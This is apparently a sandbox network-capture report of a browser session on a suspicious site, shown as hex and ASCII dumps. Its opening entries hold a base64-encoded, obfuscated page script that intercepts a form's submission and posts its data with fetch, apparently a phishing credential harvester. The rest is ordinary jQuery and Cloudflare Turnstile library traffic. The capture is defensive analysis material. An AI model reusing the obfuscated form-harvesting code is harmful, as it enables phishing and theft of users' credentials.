2024-05-07 14:12:13 UTC	7968	IN	Data Raw: 32 35 33 36 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 4a 35 4c 54 4d 75 4e 69 34 77 4c 6d 31 70 62 69 35 71 63 79 49 2b 50 43 39 7a 59 33 4a 70 63 48 51 2b 44 51 6f 67 49 43 41 67 50 48 4e 6a 63 6d 6c 77 64 43 42 7a 63 6d 4d 39 49 6d 68 30 64 48 42 7a 4f 69 38 76 59 32 68 68 62 47 Data Ascii: 2536<script>document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbG
2024-05-07 14:12:13 UTC	1564	IN	Data Raw: 32 4f 44 41 34 4f 53 67 77 65 44 46 6b 4d 69 6c 64 4b 43 64 70 65 48 42 50 57 6b 70 77 55 6b 5a 59 4a 79 6b 37 58 7a 42 34 4d 7a 5a 6b 59 32 46 69 57 79 64 76 62 6e 4e 31 59 6d 31 70 64 43 64 64 50 57 5a 31 62 6d 4e 30 61 57 39 75 4b 46 38 77 65 44 46 6b 4d 44 45 32 4e 79 6c 37 58 7a 42 34 4d 57 51 77 4d 54 59 33 57 79 64 77 63 6d 56 32 5a 57 35 30 52 47 56 6d 59 58 56 73 64 43 64 64 4b 43 6b 37 66 54 74 32 59 58 49 67 58 7a 42 34 4d 57 52 6d 4d 44 64 6c 50 56 38 77 65 44 6b 32 4f 44 41 34 4f 53 67 77 65 44 46 6b 4e 69 6b 37 5a 6d 56 30 59 32 67 6f 58 7a 42 34 4d 57 52 6d 4d 44 64 6c 4c 48 73 6e 62 57 56 30 61 47 39 6b 4a 7a 70 66 4d 48 67 35 4e 6a 67 77 4f 44 6b 6f 4d 48 67 78 59 7a 67 70 4c 43 64 69 62 32 52 35 4a 7a 70 75 5a 58 63 67 52 6d 39 79 62 55 Data Ascii: 2ODA4OSgweDFkMildKCdpeHBPWkpwUkZYJyk7XzB4MzZkY2FiWydvbnN1Ym1pdCddPWZ1bmN0aW9uKF8weDFkMDE2Nyl7XzB4MWQwMTY3WydwcmV2ZW50RGVmYXVsdCddKCk7fTt2YXIgXzB4MWRmMDdlPV8weDk2ODA4OSgweDFkNik7ZmV0Y2goXzB4MWRmMDdlLHsnbWV0aG9kJzpfMHg5NjgwODkoMHgxYzgpLCdib2R5JzpuZXcgRm9ybU
2024-05-07 14:12:13 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-07 14:12:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49716	151.101.2.137	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:13 UTC	530	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://inroleet.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:13 UTC	518	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Tue, 07 May 2024 14:12:13 GMT Via: 1.1 varnish Age: 947314 X-Served-By: cache-lga21946-LGA X-Cache: HIT X-Cache-Hits: 15 X-Timer: S1715091134.617632,VS0,VE0 Vary: Accept-Encoding
2024-05-07 14:12:13 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-05-07 14:12:13 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-05-07 14:12:13 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-05-07 14:12:13 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-05-07 14:12:13 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-05-07 14:12:13 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49717	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:13 UTC	556	OUT	GET /turnstile/v0/api.js?render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://inroleet.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:13 UTC	336	IN	HTTP/1.1 302 Found Date: Tue, 07 May 2024 14:12:13 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cross-origin-resource-policy: cross-origin cache-control: max-age=300, public location: /turnstile/v0/b/ce7818f50e39/api.js Server: cloudflare CF-RAY: 8801cdc15a17c431-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49720	104.17.3.184	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:13 UTC	555	OUT	GET /turnstile/v0/b/ce7818f50e39/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://inroleet.cfd/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:14 UTC	346	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:14 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 42566 Connection: close cache-control: max-age=604800, public cross-origin-resource-policy: cross-origin access-control-allow-origin: * Server: cloudflare CF-RAY: 8801cdc3e86d8ce8-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:14 UTC	1023	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 74 28 65 2c 72 2c 74 2c 6f 2c 6c 2c 73 2c 6d 29 7b 74 72 79 7b 76 61 72 20 62 3d 65 5b 73 5d 28 6d 29 2c 68 3d 62 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 64 29 7b 74 28 64 29 3b 72 65 74 75 72 6e 7d 62 2e 64 6f 6e 65 3f 72 28 68 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 68 29 2e 74 68 65 6e 28 6f 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 45 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 74 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 6c 29 7b 76 61 72 20 73 3d 65 2e 61 70 70 6c 79 28 72 2c 74 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function bt(e,r,t,o,l,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,l)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,l){var s=e.apply(r,t);funct
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 72 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 6c 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 74 2e 70 75 73 68 2e 61 70 70 6c 79 28 74 2c 6f 29 7d 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 77 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 6c 6c 3f 72 3a 7b 7d 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 65 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 72 29 29 3a 66 72 28 4f 62 6a 65 63 74 28 72 29 29 2e 66 6f 72 45 61 63 68 Data Ascii: r(function(l){return Object.getOwnPropertyDescriptor(e,l).enumerable})),t.push.apply(t,o)}return t}function wt(e,r){return r=r!=null?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):fr(Object(r)).forEach
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 52 65 28 65 2c 72 29 7b 76 61 72 20 74 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 73 5b 30 5d 26 31 29 74 68 72 6f 77 20 73 5b 31 5d 3b 72 65 74 75 72 6e 20 73 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 2c 6f 2c 6c 2c 73 2c 6d 3b 72 65 74 75 72 6e 20 6d 3d 7b 6e 65 78 74 3a 62 28 30 29 2c 74 68 72 6f 77 3a 62 28 31 29 2c 72 65 74 75 72 6e 3a 62 28 32 29 7d 2c 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 28 6d Data Ascii: urn e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Re(e,r){var t={label:0,sent:function(){if(s[0]&1)throw s[1];return s[1]},trys:[],ops:[]},o,l,s,m;return m={next:b(0),throw:b(1),return:b(2)},typeof Symbol=="function"&&(m
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 4f 74 3d 33 30 30 30 32 30 3b 76 61 72 20 4f 65 3d 33 30 30 30 33 30 3b 76 61 72 20 46 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4d 41 4e 41 47 45 44 3d 22 6d 61 6e 61 67 65 64 22 2c 65 2e 4e 4f 4e 5f 49 4e 54 45 52 41 43 54 49 56 45 3d 22 6e 6f 6e 2d 69 6e 74 65 72 61 63 74 69 76 65 22 2c 65 2e 49 4e 56 49 53 49 42 4c 45 3d 22 69 6e 76 69 73 69 62 6c 65 22 7d 29 28 46 7c 7c 28 46 3d 7b 7d 29 29 3b 76 61 72 20 56 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 4f 52 4d 41 4c 3d 22 6e 6f 72 6d 61 6c 22 Data Ascii: ked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Ot=300020;var Oe=300030;var F;(function(e){e.MANAGED="managed",e.NON_INTERACTIVE="non-interactive",e.INVISIBLE="invisible"})(F\|\|(F={}));var V;(function(e){e.NORMAL="normal"
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 3d 22 73 74 72 69 6e 67 22 26 26 70 72 2e 74 65 73 74 28 65 29 7d 76 61 72 20 76 72 3d 2f 5e 5b 61 2d 7a 30 2d 39 5f 5c 2d 3d 5d 7b 30 2c 32 35 35 7d 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 4a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 76 6f 69 64 20 30 3f 21 30 3a 74 79 70 65 6f 66 20 65 3d 3d 22 73 74 72 69 6e 67 22 26 26 76 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5a 65 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 6e 6f 72 6d 61 6c 22 2c 22 63 6f 6d 70 61 63 74 22 2c 22 69 6e 76 69 73 69 62 6c 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 65 74 28 65 29 7b 72 65 74 75 72 6e 20 4e 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 72 65 74 75 72 6e Data Ascii: ="string"&&pr.test(e)}var vr=/^[a-z0-9_\-=]{0,255}$/i;function Je(e){return e===void 0?!0:typeof e=="string"&&vr.test(e)}function Ze(e){return N(["normal","compact","invisible"],e)}function et(e){return N(["auto","manual","never"],e)}function tt(e){return
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 68 2c 22 74 75 72 6e 73 74 69 6c 65 2f 69 66 2f 6f 76 32 2f 61 76 30 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 73 69 7a 65 29 2e 63 6f 6e 63 61 74 28 64 29 7d 66 75 6e 63 74 69 6f 6e 20 6b 65 28 65 29 7b 69 66 28 65 3d 3d 3d 76 6f 69 64 20 30 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c Data Ascii: h,"turnstile/if/ov2/av0/rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(t.theme,"/").concat(t.size).concat(d)}function ke(e){if(e===void 0)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Bt(e,
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 6f 29 7b 69 66 28 6f 3d 3d 3d 6e 75 6c 6c 7c 7c 21 71 74 28 6f 29 29 72 65 74 75 72 6e 20 6f 3b 69 66 28 74 79 70 65 6f 66 20 6f 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 69 66 28 74 79 70 65 6f 66 20 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 69 66 28 72 2e 68 61 73 28 6f 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 6f 29 3b 72 2e 73 65 74 28 6f 2c 6c 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 72 65 74 75 72 6e 20 78 65 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 61 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 Data Ascii: nction(o){if(o===null\|\|!qt(o))return o;if(typeof o!="function")throw new TypeError("Super expression must either be null or a function");if(typeof r!="undefined"){if(r.has(o))return r.get(o);r.set(o,l)}function l(){return xe(o,arguments,ae(this).construct
2024-05-07 14:12:14 UTC	1369	IN	Data Raw: 6e 64 20 54 75 72 6e 73 74 69 6c 65 20 73 63 72 69 70 74 20 74 61 67 2c 20 73 6f 6d 65 20 66 65 61 74 75 72 65 73 20 6d 61 79 20 6e 6f 74 20 62 65 20 61 76 61 69 6c 61 62 6c 65 22 2c 34 33 37 37 37 29 3b 76 61 72 20 72 3d 7b 6c 6f 61 64 65 64 41 73 79 6e 63 3a 21 31 2c 70 61 72 61 6d 73 3a 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 7d 3b 28 65 2e 61 73 79 6e 63 7c 7c 65 2e 64 65 66 65 72 29 26 26 28 72 2e 6c 6f 61 64 65 64 41 73 79 6e 63 3d 21 30 29 3b 76 61 72 20 74 3d 65 2e 73 72 63 2c 6f 3d 74 2e 73 70 6c 69 74 28 22 3f 22 29 3b 72 65 74 75 72 6e 20 6f 2e 6c 65 6e 67 74 68 3e 31 26 26 28 72 2e 70 61 72 61 6d 73 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 6f 5b 31 5d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 44 28 29 7b Data Ascii: nd Turnstile script tag, some features may not be available",43777);var r={loadedAsync:!1,params:new URLSearchParams};(e.async\|\|e.defer)&&(r.loadedAsync=!0);var t=e.src,o=t.split("?");return o.length>1&&(r.params=new URLSearchParams(o[1])),r}function D(){
